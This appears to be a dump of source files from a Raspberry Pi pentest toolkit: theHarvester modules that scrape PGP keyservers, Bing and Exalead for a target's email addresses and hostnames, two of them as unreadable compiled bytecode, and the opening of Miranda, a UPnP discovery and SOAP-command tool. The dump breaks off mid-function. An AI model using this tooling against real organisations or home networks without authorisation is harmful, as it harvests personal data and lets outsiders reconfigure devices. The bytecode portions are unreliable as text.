9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,432
pgpsearch.py
pwnieexpress_raspberry_pwn/src/pentest/theharvester/discovery/pgpsearch.py
import string import httplib, sys import parser class search_pgp: def __init__(self,word): self.word=word self.results="" self.server="pgp.rediris.es:11371" self.hostname="pgp.rediris.es" self.userAgent="(Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" def process(self): h = httplib.HTTP(self.server) h.putrequest('GET', "/pks/lookup?search=" + self.word + "&op=index") h.putheader('Host', self.hostname) h.putheader('User-agent', self.userAgent) h.endheaders() returncode, returnmsg, headers = h.getreply() self.results = h.getfile().read() def get_emails(self): rawres=parser.parser(self.results,self.word) return rawres.emails() def get_hostnames(self): rawres=parser.parser(self.results,self.word) return rawres.hostnames()
819
Python
.py
24
30.916667
103
0.731707
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,433
bingsearch.pyc
pwnieexpress_raspberry_pwn/src/pentest/theharvester/discovery/bingsearch.pyc
—Ú èfi¬Mc @s_ddkZddkZddkZddkZddkZddkZdddÑÉYZdS(iˇˇˇˇNt search_bingcBsYeZdÑZdÑZdÑZdÑZdÑZdÑZdÑZdÑZ dÑZ RS( cCsy|iddÉ|_d|_d|_d|_d|_d|_d|_d|_t |É|_ d|_ ||_ dS(Nt s%20ts www.bing.comsapi.search.live.netsT(Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6t100( treplacetwordtresultst totalresultstservert apiserverthostnamet userAgenttquantitytinttlimittbingApitcounter(tselfRRtstart((s9/pentest/enumeration/theharvester/discovery/bingsearch.pyt__init__s        cCsƒti|iÉ}|idd|idt|iÉÉ|id|iÉ|idÉ|idÉ|id|i É|i É|i É\}}}|i Éi É|_|i|i7_dS(NtGETs /search?q=s&first=tHosts%Cookie: SRCHHPGUSR=ADLT=OFF&NRSLT=100sAccept-Language: en-us,ens User-agent(thttplibtHTTPRt putrequestRtstrRt putheaderR R t endheaderstgetreplytgetfiletreadRR(Rtht returncodet returnmsgtheaders((s9/pentest/enumeration/theharvester/discovery/bingsearch.pyt do_searchs(   cCs≤ti|iÉ}|idd|id|idt|iÉÉ|iddÉ|id|i É|i É|i É\}}}|i Éi É|_|i|i7_dS(NRs/xml.aspx?Appid=s &query=%40s%&sources=web&web.count=40&web.offset=Rsapi.search.live.nets User-agent(RRR RRRRRRR RRRRRR(RRR R!R"((s9/pentest/enumeration/theharvester/discovery/bingsearch.pyt do_search_api!s3 cCsƒti|iÉ}|idd|idt|iÉÉ|id|iÉ|idÉ|idÉ|id|i É|i É|i É\}}}|i Éi É|_|i|i7_dS(NRs /search?q=ip:s#&go=&count=50&FORM=QBHL&qs=n&first=RsCCookie: mkt=en-US;ui=en-US;SRCHHPGUSR=NEWWND=0&ADLT=DEMOTE&NRSLT=50sAccept-Language: en-us,ens User-agent(RRRRRRRRR R RRRRRR(RRR R!R"((s9/pentest/enumeration/theharvester/discovery/bingsearch.pytdo_search_vhost+s(   cCs"ti|i|iÉ}|iÉS(N(tparserRRtemails(Rtrawres((s9/pentest/enumeration/theharvester/discovery/bingsearch.pyt get_emails7scCs"ti|i|iÉ}|iÉS(N(R&RRt hostnames(RR(((s9/pentest/enumeration/theharvester/discovery/bingsearch.pyt get_hostnames;scCs"ti|i|iÉ}|iÉS(N(R&RRt hostnames_all(RR(((s9/pentest/enumeration/theharvester/discovery/bingsearch.pytget_allhostnames?scCs∑|djo'|idjodGHtiÉq4nx||i|ijoh|djo|iÉtidÉn|iÉtidÉ|id7_dt |iÉdGHq7WdS( NtyesRs9Please insert your API key in the discovery/bingsearch.pyg333333”?iids Searching s results...( RtsystexitRRR$ttimetsleepR#R(Rtapi((s9/pentest/enumeration/theharvester/discovery/bingsearch.pytprocessDs     cCs8x1|i|ijo|iÉ|id7_qWdS(Nid(RRR%(R((s9/pentest/enumeration/theharvester/discovery/bingsearch.pyt process_vhostSs ( t__name__t __module__RR#R$R%R)R+R-R4R5(((s9/pentest/enumeration/theharvester/discovery/bingsearch.pyRs    ((tstringRR/R&treR1R(((s9/pentest/enumeration/theharvester/discovery/bingsearch.pyt<module>s    
4,543
Python
.py
28
160.964286
799
0.428477
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,434
bingsearch.py
pwnieexpress_raspberry_pwn/src/pentest/theharvester/discovery/bingsearch.py
import string import httplib, sys import parser import re import time class search_bing: def __init__(self,word,limit,start): self.word=word.replace(' ', '%20') self.results="" self.totalresults="" self.server="www.bing.com" self.apiserver="api.search.live.net" self.hostname="www.bing.com" self.userAgent="(Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" self.quantity="100" self.limit=int(limit) self.bingApi="" self.counter=start def do_search(self): h = httplib.HTTP(self.server) h.putrequest('GET', "/search?q=" + self.word + "&first="+ str(self.counter)) h.putheader('Host', self.hostname) h.putheader('Cookie: SRCHHPGUSR=ADLT=OFF&NRSLT=100') h.putheader('Accept-Language: en-us,en') h.putheader('User-agent', self.userAgent) h.endheaders() returncode, returnmsg, headers = h.getreply() self.results = h.getfile().read() self.totalresults+= self.results def do_search_api(self): h = httplib.HTTP(self.apiserver) h.putrequest('GET', "/xml.aspx?Appid="+ self.bingApi + "&query=%40" + self.word +"&sources=web&web.count=40&web.offset="+str(self.counter)) h.putheader('Host', "api.search.live.net") h.putheader('User-agent', self.userAgent) h.endheaders() returncode, returnmsg, headers = h.getreply() self.results = h.getfile().read() self.totalresults+= self.results def do_search_vhost(self): h = httplib.HTTP(self.server) h.putrequest('GET', "/search?q=ip:" + self.word + "&go=&count=50&FORM=QBHL&qs=n&first="+ str(self.counter)) h.putheader('Host', self.hostname) h.putheader('Cookie: mkt=en-US;ui=en-US;SRCHHPGUSR=NEWWND=0&ADLT=DEMOTE&NRSLT=50') h.putheader('Accept-Language: en-us,en') h.putheader('User-agent', self.userAgent) h.endheaders() returncode, returnmsg, headers = h.getreply() self.results = h.getfile().read() self.totalresults+= self.results def get_emails(self): rawres=parser.parser(self.totalresults,self.word) return rawres.emails() def get_hostnames(self): rawres=parser.parser(self.totalresults,self.word) return rawres.hostnames() def get_allhostnames(self): rawres=parser.parser(self.totalresults,self.word) return rawres.hostnames_all() def process(self,api): if api=="yes": if self.bingApi=="": print "Please insert your API key in the discovery/bingsearch.py" sys.exit() while (self.counter < self.limit): if api=="yes": self.do_search_api() time.sleep(0.3) else: self.do_search() time.sleep(1) self.counter+=100 print "\tSearching "+ str(self.counter) + " results..." def process_vhost(self): while (self.counter < self.limit):#Maybe it is good to use other limit for this. self.do_search_vhost() self.counter+=100
2,765
Python
.py
76
33.039474
141
0.712894
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,435
exaleadsearch.py
pwnieexpress_raspberry_pwn/src/pentest/theharvester/discovery/exaleadsearch.py
import string import httplib, sys import parser import re import time class search_exalead: def __init__(self,word,limit,start): self.word=word self.files="pdf" self.results="" self.totalresults="" self.server="www.exalead.com" self.hostname="www.exalead.com" self.userAgent="(Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" self.limit=limit self.counter=start def do_search(self): h = httplib.HTTP(self.server) h.putrequest('GET', "/search/web/results/?q=%40"+ self.word + "&elements_per_page=100&start_index="+str(self.counter)) h.putheader('Host', self.hostname) h.putheader('User-agent', self.userAgent) h.endheaders() returncode, returnmsg, headers = h.getreply() self.results = h.getfile().read() self.totalresults+= self.results def do_search_files(self,files): h = httplib.HTTP(self.server) h.putrequest('GET', "search/web/results/?q="+ self.word + "filetype:"+ self.files +"&elements_per_page=100&start_index="+self.counter) h.putheader('Host', self.hostname) h.putheader('User-agent', self.userAgent) h.endheaders() returncode, returnmsg, headers = h.getreply() self.results = h.getfile().read() self.totalresults+= self.results def check_next(self): renext = re.compile('topNextUrl') nextres=renext.findall(self.results) if nextres !=[]: nexty="1" print str(self.counter) else: nexty="0" return nexty def get_emails(self): rawres=parser.parser(self.totalresults,self.word) return rawres.emails() def get_hostnames(self): rawres=parser.parser(self.totalresults,self.word) return rawres.hostnames() def get_files(self): rawres=parser.parser(self.totalresults,self.word) return rawres.fileurls(self.files) def process(self): while self.counter <= self.limit: self.do_search() self.counter+=100 print "\tSearching " + str(self.counter) + " results..." def process_files(self,files): while self.counter < self.limit: self.do_search_files(files) time.sleep(1) more = self.check_next() if more == "1": self.counter+=100 else: break
2,128
Python
.py
66
28.893939
136
0.722986
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,436
pgpsearch.pyc
pwnieexpress_raspberry_pwn/src/pentest/theharvester/discovery/pgpsearch.pyc
—Ú èfi¬Mc@sGddkZddkZddkZddkZdddÑÉYZdS(iˇˇˇˇNt search_pgpcBs,eZdÑZdÑZdÑZdÑZRS(cCs1||_d|_d|_d|_d|_dS(Ntspgp.rediris.es:11371spgp.rediris.essT(Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6(twordtresultstserverthostnamet userAgent(tselfR((s8/pentest/enumeration/theharvester/discovery/pgpsearch.pyt__init__s     cCsãti|iÉ}|idd|idÉ|id|iÉ|id|iÉ|iÉ|i É\}}}|i Éi É|_ dS(NtGETs/pks/lookup?search=s &op=indextHosts User-agent( thttplibtHTTPRt putrequestRt putheaderRRt endheaderstgetreplytgetfiletreadR(Rtht returncodet returnmsgtheaders((s8/pentest/enumeration/theharvester/discovery/pgpsearch.pytprocess s cCs"ti|i|iÉ}|iÉS(N(tparserRRtemails(Rtrawres((s8/pentest/enumeration/theharvester/discovery/pgpsearch.pyt get_emailsscCs"ti|i|iÉ}|iÉS(N(RRRt hostnames(RR((s8/pentest/enumeration/theharvester/discovery/pgpsearch.pyt get_hostnamess(t__name__t __module__RRRR(((s8/pentest/enumeration/theharvester/discovery/pgpsearch.pyRs  ((tstringR tsysRR(((s8/pentest/enumeration/theharvester/discovery/pgpsearch.pyt<module>s  
1,859
Python
.py
13
141.846154
471
0.460747
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,437
miranda.py
pwnieexpress_raspberry_pwn/src/pentest/miranda/miranda.py
#!/usr/bin/env python ################################ # Interactive UPNP application # # Craig Heffner # # www.sourcesec.com # # 07/16/2008 # ################################ try: import sys,os from socket import * from urllib2 import URLError, HTTPError from platform import system as thisSystem import xml.dom.minidom as minidom import IN,urllib,urllib2 import readline,time import pickle import struct import base64 import re import getopt except Exception,e: print 'Unmet dependency:',e sys.exit(1) #Most of the cmdCompleter class was originally written by John Kenyan #It serves to tab-complete commands inside the program's shell class cmdCompleter: def __init__(self,commands): self.commands = commands #Traverses the list of available commands def traverse(self,tokens,tree): retVal = [] #If there are no commands, or no user input, return null if tree is None or len(tokens) == 0: return [] #If there is only one word, only auto-complete the primary commands elif len(tokens) == 1: retVal = [x+' ' for x in tree if x.startswith(tokens[0])] #Else auto-complete for the sub-commands elif tokens[0] in tree.keys(): retVal = self.traverse(tokens[1:],tree[tokens[0]]) return retVal #Returns a list of possible commands that match the partial command that the user has entered def complete(self,text,state): try: tokens = readline.get_line_buffer().split() if not tokens or readline.get_line_buffer()[-1] == ' ': tokens.append('') results = self.traverse(tokens,self.commands) + [None] return results[state] except: return #UPNP class for getting, sending and parsing SSDP/SOAP XML data (among other things...) class upnp: ip = False port = False completer = False msearchHeaders = { 'MAN' : '"ssdp:discover"', 'MX' : '2' } DEFAULT_IP = "239.255.255.250" DEFAULT_PORT = 1900 UPNP_VERSION = '1.0' MAX_RECV = 8192 HTTP_HEADERS = [] ENUM_HOSTS = {} VERBOSE = False UNIQ = False DEBUG = False LOG_FILE = False IFACE = None STARS = '****************************************************************' csock = False ssock = False def __init__(self,ip,port,iface,appCommands): if appCommands: self.completer = cmdCompleter(appCommands) if self.initSockets(ip,port,iface) == False: print 'UPNP class initialization failed!' print 'Bye!' sys.exit(1) else: self.soapEnd = re.compile('<\/.*:envelope>') #Initialize default sockets def initSockets(self,ip,port,iface): if self.csock: self.csock.close() if self.ssock: self.ssock.close() if iface != None: self.IFACE = iface if not ip: ip = self.DEFAULT_IP if not port: port = self.DEFAULT_PORT self.port = port self.ip = ip try: #This is needed to join a multicast group self.mreq = struct.pack("4sl",inet_aton(ip),INADDR_ANY) #Set up client socket self.csock = socket(AF_INET,SOCK_DGRAM) self.csock.setsockopt(IPPROTO_IP,IP_MULTICAST_TTL,2) #Set up server socket self.ssock = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP) self.ssock.setsockopt(SOL_SOCKET,SO_REUSEADDR,1) #Only bind to this interface if self.IFACE != None: print '\nBinding to interface',self.IFACE,'...\n' self.ssock.setsockopt(SOL_SOCKET,IN.SO_BINDTODEVICE,struct.pack("%ds" % (len(self.IFACE)+1,), self.IFACE)) self.csock.setsockopt(SOL_SOCKET,IN.SO_BINDTODEVICE,struct.pack("%ds" % (len(self.IFACE)+1,), self.IFACE)) try: self.ssock.bind(('',self.port)) except Exception, e: print "WARNING: Failed to bind %s:%d: %s" , (self.ip,self.port,e) try: self.ssock.setsockopt(IPPROTO_IP,IP_ADD_MEMBERSHIP,self.mreq) except Exception, e: print 'WARNING: Failed to join multicast group:',e except Exception, e: print "Failed to initialize UPNP sockets:",e return False return True #Clean up file/socket descriptors def cleanup(self): if self.LOG_FILE != False: self.LOG_FILE.close() self.csock.close() self.ssock.close() #Send network data def send(self,data,socket): #By default, use the client socket that's part of this class if socket == False: socket = self.csock try: socket.sendto(data,(self.ip,self.port)) return True except Exception, e: print "SendTo method failed for %s:%d : %s" % (self.ip,self.port,e) return False #Listen for network data def listen(self,size,socket): if socket == False: socket = self.ssock try: return socket.recv(size) except: return False #Create new UDP socket on ip, bound to port def createNewListener(self,ip,port): try: newsock = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP) newsock.setsockopt(SOL_SOCKET,SO_REUSEADDR,1) newsock.bind((ip,port)) return newsock except: return False #Return the class's primary server socket def listener(self): return self.ssock #Return the class's primary client socket def sender(self): return self.csock #Parse a URL, return the host and the page def parseURL(self,url): delim = '://' host = False page = False #Split the host and page try: (host,page) = url.split(delim)[1].split('/',1) page = '/' + page except: #If '://' is not in the url, then it's not a full URL, so assume that it's just a relative path page = url return (host,page) #Pull the name of the device type from a device type string #The device type string looks like: 'urn:schemas-upnp-org:device:WANDevice:1' def parseDeviceTypeName(self,string): delim1 = 'device:' delim2 = ':' if delim1 in string and not string.endswith(delim1): return string.split(delim1)[1].split(delim2,1)[0] return False #Pull the name of the service type from a service type string #The service type string looks like: 'urn:schemas-upnp-org:service:Layer3Forwarding:1' def parseServiceTypeName(self,string): delim1 = 'service:' delim2 = ':' if delim1 in string and not string.endswith(delim1): return string.split(delim1)[1].split(delim2,1)[0] return False #Pull the header info for the specified HTTP header - case insensitive def parseHeader(self,data,header): delimiter = "%s:" % header defaultRet = False lowerDelim = delimiter.lower() dataArray = data.split("\r\n") #Loop through each line of the headers for line in dataArray: lowerLine = line.lower() #Does this line start with the header we're looking for? if lowerLine.startswith(lowerDelim): try: return line.split(':',1)[1].strip() except: print "Failure parsing header data for %s" % header return defaultRet #Extract the contents of a single XML tag from the data def extractSingleTag(self,data,tag): startTag = "<%s" % tag endTag = "</%s>" % tag try: tmp = data.split(startTag)[1] index = tmp.find('>') if index != -1: index += 1 return tmp[index:].split(endTag)[0].strip() except: pass return None #Parses SSDP notify and reply packets, and populates the ENUM_HOSTS dict def parseSSDPInfo(self,data,showUniq,verbose): hostFound = False foundLocation = False messageType = False xmlFile = False host = False page = False upnpType = None knownHeaders = { 'NOTIFY' : 'notification', 'HTTP/1.1 200 OK' : 'reply' } #Use the class defaults if these aren't specified if showUniq == False: showUniq = self.UNIQ if verbose == False: verbose = self.VERBOSE #Is the SSDP packet a notification, a reply, or neither? for text,messageType in knownHeaders.iteritems(): if data.upper().startswith(text): break else: messageType = False #If this is a notification or a reply message... if messageType != False: #Get the host name and location of it's main UPNP XML file xmlFile = self.parseHeader(data,"LOCATION") upnpType = self.parseHeader(data,"SERVER") (host,page) = self.parseURL(xmlFile) #Sanity check to make sure we got all the info we need if xmlFile == False or host == False or page == False: print 'ERROR parsing recieved header:' print self.STARS print data print self.STARS print '' return False #Get the protocol in use (i.e., http, https, etc) protocol = xmlFile.split('://')[0]+'://' #Check if we've seen this host before; add to the list of hosts if: # 1. This is a new host # 2. We've already seen this host, but the uniq hosts setting is disabled for hostID,hostInfo in self.ENUM_HOSTS.iteritems(): if hostInfo['name'] == host: hostFound = True if self.UNIQ: return False if (hostFound and not self.UNIQ) or not hostFound: #Get the new host's index number and create an entry in ENUM_HOSTS index = len(self.ENUM_HOSTS) self.ENUM_HOSTS[index] = { 'name' : host, 'dataComplete' : False, 'proto' : protocol, 'xmlFile' : xmlFile, 'serverType' : None, 'upnpServer' : upnpType, 'deviceList' : {} } #Be sure to update the command completer so we can tab complete through this host's data structure self.updateCmdCompleter(self.ENUM_HOSTS) #Print out some basic device info print self.STARS print "SSDP %s message from %s" % (messageType,host) if xmlFile: foundLocation = True print "XML file is located at %s" % xmlFile if upnpType: print "Device is running %s"% upnpType print self.STARS print '' #Send GET request for a UPNP XML file def getXML(self,url): headers = { 'USER-AGENT':'uPNP/'+self.UPNP_VERSION, 'CONTENT-TYPE':'text/xml; charset="utf-8"' } try: #Use urllib2 for the request, it's awesome req = urllib2.Request(url, None, headers) response = urllib2.urlopen(req) output = response.read() headers = response.info() return (headers,output) except Exception, e: print "Request for '%s' failed: %s" % (url,e) return (False,False) #Send SOAP request def sendSOAP(self,hostName,serviceType,controlURL,actionName,actionArguments): argList = '' soapResponse = '' if '://' in controlURL: urlArray = controlURL.split('/',3) if len(urlArray) < 4: controlURL = '/' else: controlURL = '/' + urlArray[3] soapRequest = 'POST %s HTTP/1.1\r\n' % controlURL #Check if a port number was specified in the host name; default is port 80 if ':' in hostName: hostNameArray = hostName.split(':') host = hostNameArray[0] try: port = int(hostNameArray[1]) except: print 'Invalid port specified for host connection:',hostName[1] return False else: host = hostName port = 80 #Create a string containing all of the SOAP action's arguments and values for arg,(val,dt) in actionArguments.iteritems(): argList += '<%s>%s</%s>' % (arg,val,arg) #Create the SOAP request soapBody = '<?xml version="1.0"?>\n'\ '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">\n'\ '<SOAP-ENV:Body>\n'\ '\t<m:%s xmlns:m="%s">\n'\ '%s\n'\ '\t</m:%s>\n'\ '</SOAP-ENV:Body>\n'\ '</SOAP-ENV:Envelope>' % (actionName,serviceType,argList,actionName) #Specify the headers to send with the request headers = { 'Host':hostName, 'Content-Length':len(soapBody), 'Content-Type':'text/xml', 'SOAPAction':'"%s#%s"' % (serviceType,actionName) } #Generate the final payload for head,value in headers.iteritems(): soapRequest += '%s: %s\r\n' % (head,value) soapRequest += '\r\n%s' % soapBody #Send data and go into recieve loop try: sock = socket(AF_INET,SOCK_STREAM) sock.connect((host,port)) sock.send(soapRequest) while True: data = sock.recv(self.MAX_RECV) if not data: break else: soapResponse += data if self.soapEnd.search(soapResponse.lower()) != None: break sock.close() (header,body) = soapResponse.split('\r\n\r\n',1) if not header.upper().startswith('HTTP/1.1 200'): print 'SOAP request failed with error code:',header.split('\r\n')[0].split(' ',1)[1] errorMsg = self.extractSingleTag(body,'errorDescription') if errorMsg: print 'SOAP error message:',errorMsg return False else: return body except Exception, e: print 'Caught socket exception:',e sock.close() return False except KeyboardInterrupt: sock.close() return False #Display all info for a given host def showCompleteHostInfo(self,index,fp): na = 'N/A' serviceKeys = ['controlURL','eventSubURL','serviceId','SCPDURL','fullName'] if fp == False: fp = sys.stdout if index < 0 or index >= len(self.ENUM_HOSTS): fp.write('Specified host does not exist...\n') return try: hostInfo = self.ENUM_HOSTS[index] if hostInfo['dataComplete'] == False: print "Cannot show all host info because we don't have it all yet. Try running 'host info %d' first...\n" % index fp.write('Host name: %s\n' % hostInfo['name']) fp.write('UPNP XML File: %s\n\n' % hostInfo['xmlFile']) fp.write('\nDevice information:\n') for deviceName,deviceStruct in hostInfo['deviceList'].iteritems(): fp.write('\tDevice Name: %s\n' % deviceName) for serviceName,serviceStruct in deviceStruct['services'].iteritems(): fp.write('\t\tService Name: %s\n' % serviceName) for key in serviceKeys: fp.write('\t\t\t%s: %s\n' % (key,serviceStruct[key])) fp.write('\t\t\tServiceActions:\n') for actionName,actionStruct in serviceStruct['actions'].iteritems(): fp.write('\t\t\t\t%s\n' % actionName) for argName,argStruct in actionStruct['arguments'].iteritems(): fp.write('\t\t\t\t\t%s \n' % argName) for key,val in argStruct.iteritems(): if key == 'relatedStateVariable': fp.write('\t\t\t\t\t\t%s:\n' % val) for k,v in serviceStruct['serviceStateVariables'][val].iteritems(): fp.write('\t\t\t\t\t\t\t%s: %s\n' % (k,v)) else: fp.write('\t\t\t\t\t\t%s: %s\n' % (key,val)) except Exception, e: print 'Caught exception while showing host info:',e #Wrapper function... def getHostInfo(self,xmlData,xmlHeaders,index): if self.ENUM_HOSTS[index]['dataComplete'] == True: return if index >= 0 and index < len(self.ENUM_HOSTS): try: xmlRoot = minidom.parseString(xmlData) self.parseDeviceInfo(xmlRoot,index) self.ENUM_HOSTS[index]['serverType'] = xmlHeaders.getheader('Server') self.ENUM_HOSTS[index]['dataComplete'] = True return True except Exception, e: print 'Caught exception while getting host info:',e return False #Parse device info from the retrieved XML file def parseDeviceInfo(self,xmlRoot,index): deviceEntryPointer = False devTag = "device" deviceType = "deviceType" deviceListEntries = "deviceList" deviceTags = ["friendlyName","modelDescription","modelName","modelNumber","modelURL","presentationURL","UDN","UPC","manufacturer","manufacturerURL"] #Find all device entries listed in the XML file for device in xmlRoot.getElementsByTagName(devTag): try: #Get the deviceType string deviceTypeName = str(device.getElementsByTagName(deviceType)[0].childNodes[0].data) except: continue #Pull out the action device name from the deviceType string deviceDisplayName = self.parseDeviceTypeName(deviceTypeName) if not deviceDisplayName: continue #Create a new device entry for this host in the ENUM_HOSTS structure deviceEntryPointer = self.ENUM_HOSTS[index][deviceListEntries][deviceDisplayName] = {} deviceEntryPointer['fullName'] = deviceTypeName #Parse out all the device tags for that device for tag in deviceTags: try: deviceEntryPointer[tag] = str(device.getElementsByTagName(tag)[0].childNodes[0].data) except Exception, e: if self.VERBOSE: print 'Device',deviceEntryPointer['fullName'],'does not have a',tag continue #Get a list of all services for this device listing self.parseServiceList(device,deviceEntryPointer,index) return #Parse the list of services specified in the XML file def parseServiceList(self,xmlRoot,device,index): serviceEntryPointer = False dictName = "services" serviceListTag = "serviceList" serviceTag = "service" serviceNameTag = "serviceType" serviceTags = ["serviceId","controlURL","eventSubURL","SCPDURL"] try: device[dictName] = {} #Get a list of all services offered by this device for service in xmlRoot.getElementsByTagName(serviceListTag)[0].getElementsByTagName(serviceTag): #Get the full service descriptor serviceName = str(service.getElementsByTagName(serviceNameTag)[0].childNodes[0].data) #Get the service name from the service descriptor string serviceDisplayName = self.parseServiceTypeName(serviceName) if not serviceDisplayName: continue #Create new service entry for the device in ENUM_HOSTS serviceEntryPointer = device[dictName][serviceDisplayName] = {} serviceEntryPointer['fullName'] = serviceName #Get all of the required service info and add it to ENUM_HOSTS for tag in serviceTags: serviceEntryPointer[tag] = str(service.getElementsByTagName(tag)[0].childNodes[0].data) #Get specific service info about this service self.parseServiceInfo(serviceEntryPointer,index) except Exception, e: print 'Caught exception while parsing device service list:',e #Parse details about each service (arguements, variables, etc) def parseServiceInfo(self,service,index): argIndex = 0 argTags = ['direction','relatedStateVariable'] actionList = 'actionList' actionTag = 'action' nameTag = 'name' argumentList = 'argumentList' argumentTag = 'argument' #Get the full path to the service's XML file xmlFile = self.ENUM_HOSTS[index]['proto'] + self.ENUM_HOSTS[index]['name'] if not xmlFile.endswith('/') and not service['SCPDURL'].startswith('/'): xmlFile += '/' if self.ENUM_HOSTS[index]['proto'] in service['SCPDURL']: xmlFile = service['SCPDURL'] else: xmlFile += service['SCPDURL'] service['actions'] = {} #Get the XML file that describes this service (xmlHeaders,xmlData) = self.getXML(xmlFile) if not xmlData: print 'Failed to retrieve service descriptor located at:',xmlFile return False try: xmlRoot = minidom.parseString(xmlData) #Get a list of actions for this service try: actionList = xmlRoot.getElementsByTagName(actionList)[0] except: print 'Failed to retrieve action list for service %s!' % service['fullName'] return False actions = actionList.getElementsByTagName(actionTag) if actions == []: print 'Failed to retrieve actions from service actions list for service %s!' % service['fullName'] return False #Parse all actions in the service's action list for action in actions: #Get the action's name try: actionName = str(action.getElementsByTagName(nameTag)[0].childNodes[0].data).strip() except: print 'Failed to obtain service action name (%s)!' % service['fullName'] continue #Add the action to the ENUM_HOSTS dictonary service['actions'][actionName] = {} service['actions'][actionName]['arguments'] = {} #Parse all of the action's arguments try: argList = action.getElementsByTagName(argumentList)[0] except: #Some actions may take no arguments, so continue without raising an error here... continue #Get all the arguments in this action's argument list arguments = argList.getElementsByTagName(argumentTag) if arguments == []: if self.VERBOSE: print 'Action',actionName,'has no arguments!' continue #Loop through the action's arguments, appending them to the ENUM_HOSTS dictionary for argument in arguments: try: argName = str(argument.getElementsByTagName(nameTag)[0].childNodes[0].data) except: print 'Failed to get argument name for',actionName continue service['actions'][actionName]['arguments'][argName] = {} #Get each required argument tag value and add them to ENUM_HOSTS for tag in argTags: try: service['actions'][actionName]['arguments'][argName][tag] = str(argument.getElementsByTagName(tag)[0].childNodes[0].data) except: print 'Failed to find tag %s for argument %s!' % (tag,argName) continue #Parse all of the state variables for this service self.parseServiceStateVars(xmlRoot,service) except Exception, e: print 'Caught exception while parsing Service info for service %s: %s' % (service['fullName'],str(e)) return False return True #Get info about a service's state variables def parseServiceStateVars(self,xmlRoot,servicePointer): na = 'N/A' varVals = ['sendEvents','dataType','defaultValue','allowedValues'] serviceStateTable = 'serviceStateTable' stateVariable = 'stateVariable' nameTag = 'name' dataType = 'dataType' sendEvents = 'sendEvents' allowedValueList = 'allowedValueList' allowedValue = 'allowedValue' allowedValueRange = 'allowedValueRange' minimum = 'minimum' maximum = 'maximum' #Create the serviceStateVariables entry for this service in ENUM_HOSTS servicePointer['serviceStateVariables'] = {} #Get a list of all state variables associated with this service try: stateVars = xmlRoot.getElementsByTagName(serviceStateTable)[0].getElementsByTagName(stateVariable) except: #Don't necessarily want to throw an error here, as there may be no service state variables return False #Loop through all state variables for var in stateVars: for tag in varVals: #Get variable name try: varName = str(var.getElementsByTagName(nameTag)[0].childNodes[0].data) except: print 'Failed to get service state variable name for service %s!' % servicePointer['fullName'] continue servicePointer['serviceStateVariables'][varName] = {} try: servicePointer['serviceStateVariables'][varName]['dataType'] = str(var.getElementsByTagName(dataType)[0].childNodes[0].data) except: servicePointer['serviceStateVariables'][varName]['dataType'] = na try: servicePointer['serviceStateVariables'][varName]['sendEvents'] = str(var.getElementsByTagName(sendEvents)[0].childNodes[0].data) except: servicePointer['serviceStateVariables'][varName]['sendEvents'] = na servicePointer['serviceStateVariables'][varName][allowedValueList] = [] #Get a list of allowed values for this variable try: vals = var.getElementsByTagName(allowedValueList)[0].getElementsByTagName(allowedValue) except: pass else: #Add the list of allowed values to the ENUM_HOSTS dictionary for val in vals: servicePointer['serviceStateVariables'][varName][allowedValueList].append(str(val.childNodes[0].data)) #Get allowed value range for this variable try: valList = var.getElementsByTagName(allowedValueRange)[0] except: pass else: #Add the max and min values to the ENUM_HOSTS dictionary servicePointer['serviceStateVariables'][varName][allowedValueRange] = [] try: servicePointer['serviceStateVariables'][varName][allowedValueRange].append(str(valList.getElementsByTagName(minimum)[0].childNodes[0].data)) servicePointer['serviceStateVariables'][varName][allowedValueRange].append(str(valList.getElementsByTagName(maximum)[0].childNodes[0].data)) except: pass return True #Update the command completer def updateCmdCompleter(self,struct): indexOnlyList = { 'host' : ['get','details','summary'], 'save' : ['info'] } hostCommand = 'host' subCommandList = ['info'] sendCommand = 'send' try: structPtr = {} topLevelKeys = {} for key,val in struct.iteritems(): structPtr[str(key)] = val topLevelKeys[str(key)] = None #Update the subCommandList for subcmd in subCommandList: self.completer.commands[hostCommand][subcmd] = None self.completer.commands[hostCommand][subcmd] = structPtr #Update the indexOnlyList for cmd,data in indexOnlyList.iteritems(): for subcmd in data: self.completer.commands[cmd][subcmd] = topLevelKeys #This is for updating the sendCommand key structPtr = {} for hostIndex,hostData in struct.iteritems(): host = str(hostIndex) structPtr[host] = {} if hostData.has_key('deviceList'): for device,deviceData in hostData['deviceList'].iteritems(): structPtr[host][device] = {} if deviceData.has_key('services'): for service,serviceData in deviceData['services'].iteritems(): structPtr[host][device][service] = {} if serviceData.has_key('actions'): for action,actionData in serviceData['actions'].iteritems(): structPtr[host][device][service][action] = None self.completer.commands[hostCommand][sendCommand] = structPtr except Exception,e: print "Error updating command completer structure; some command completion features might not work..." return ################## Action Functions ###################### #These functions handle user commands from the shell #Actively search for UPNP devices def msearch(argc,argv,hp): defaultST = "upnp:rootdevice" st = "schemas-upnp-org" myip = '' lport = hp.port if argc >= 3: if argc == 4: st = argv[1] searchType = argv[2] searchName = argv[3] else: searchType = argv[1] searchName = argv[2] st = "urn:%s:%s:%s:%s" % (st,searchType,searchName,hp.UPNP_VERSION.split('.')[0]) else: st = defaultST #Build the request request = "M-SEARCH * HTTP/1.1\r\n"\ 